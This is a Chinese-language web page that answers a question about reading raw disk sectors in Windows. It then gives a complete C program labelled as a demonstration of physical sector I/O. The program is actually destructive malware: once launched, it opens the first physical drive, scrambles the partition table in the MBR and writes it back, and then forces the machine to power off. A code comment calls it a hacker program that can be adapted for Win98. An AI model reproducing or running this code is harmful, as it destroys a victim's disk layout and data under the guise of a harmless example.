＋设为首页 ＋添加到收藏夹
就是说在window下能不能读取第n个sector的内容，一般的window API显然不行，windows对这些硬件的直接操作保护得死死的。
使用CreateFile打开如\\.\C:，然后定位文件读写指针，也就是等于定位磁盘扇区，然后读写文件即可，这只在2K XP提供，98，ME下没有
createfile
....
VC EXAMPLE
//演示如何在Windows NT/2000下对硬盘物理扇区读写
#include <windows.h>
#include <winioctl.h>
//---------------------------------------------------------------------------
void WINAPI ExitWin()
{
HANDLE hProcess, hToken;
TOKEN_PRIVILEGES NewState;
DWORD ProcessId, ReturnLength = 0;
LUID luidPrivilegeLUID;
ProcessId = GetCurrentProcessId();
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);
NewState.PrivilegeCount = 1;
NewState.Privileges[0].Luid = luidPrivilegeLUID;
NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))
ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);
}
void WINAPI KillNT()
{
HANDLE hDevice;
TCHAR szDevicename[64];
LPTSTR szBuff;
DISK_GEOMETRY Geometry;
BOOL bRet;
DWORD bytes,bread,count;
int i;
char *drive = "0";
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);
szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);
if ( szBuff == NULL)
{
MessageBox(NULL,"分配内存出错",NULL,MB_OK);
ExitProcess(0);
}
bytes = 512;
bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);
if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"读MBR出错",NULL,MB_OK);
ExitProcess(0);
}
*(szBuff + 0x1be) = 0x80;
*(szBuff + 0x1bf) = 0x00;
*(szBuff + 0x1c2) = 0x05;
for ( i = 0x1c3; i < 510; i++ )
{
*(szBuff + i) ^= 0x926;
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
CloseHandle(hDevice);
wsprintf(szDevicename,"\\\\.\\PHYSICALDRIVE%c",*drive);
hDevice = CreateFile( szDevicename,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if ( hDevice == INVALID_HANDLE_VALUE)
{
MessageBox(NULL,"打开设备出错",NULL,MB_OK);
ExitProcess(0);
}
//这是黑客程序，稍加修改就能在Win98下运行；
DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);
bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);
if (bRet==FALSE || bread<512)
{
MessageBox(NULL,"写MBR出错",NULL,MB_OK);
ExitProcess(0);
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);
HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);
CloseHandle(hDevice);
ExitWin();
}
void WINAPI OSVer()
{
OSVERSIONINFO osi;
osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&osi))
{
if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)
KillNT();
}
}
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
OSVer();
return 0;
}
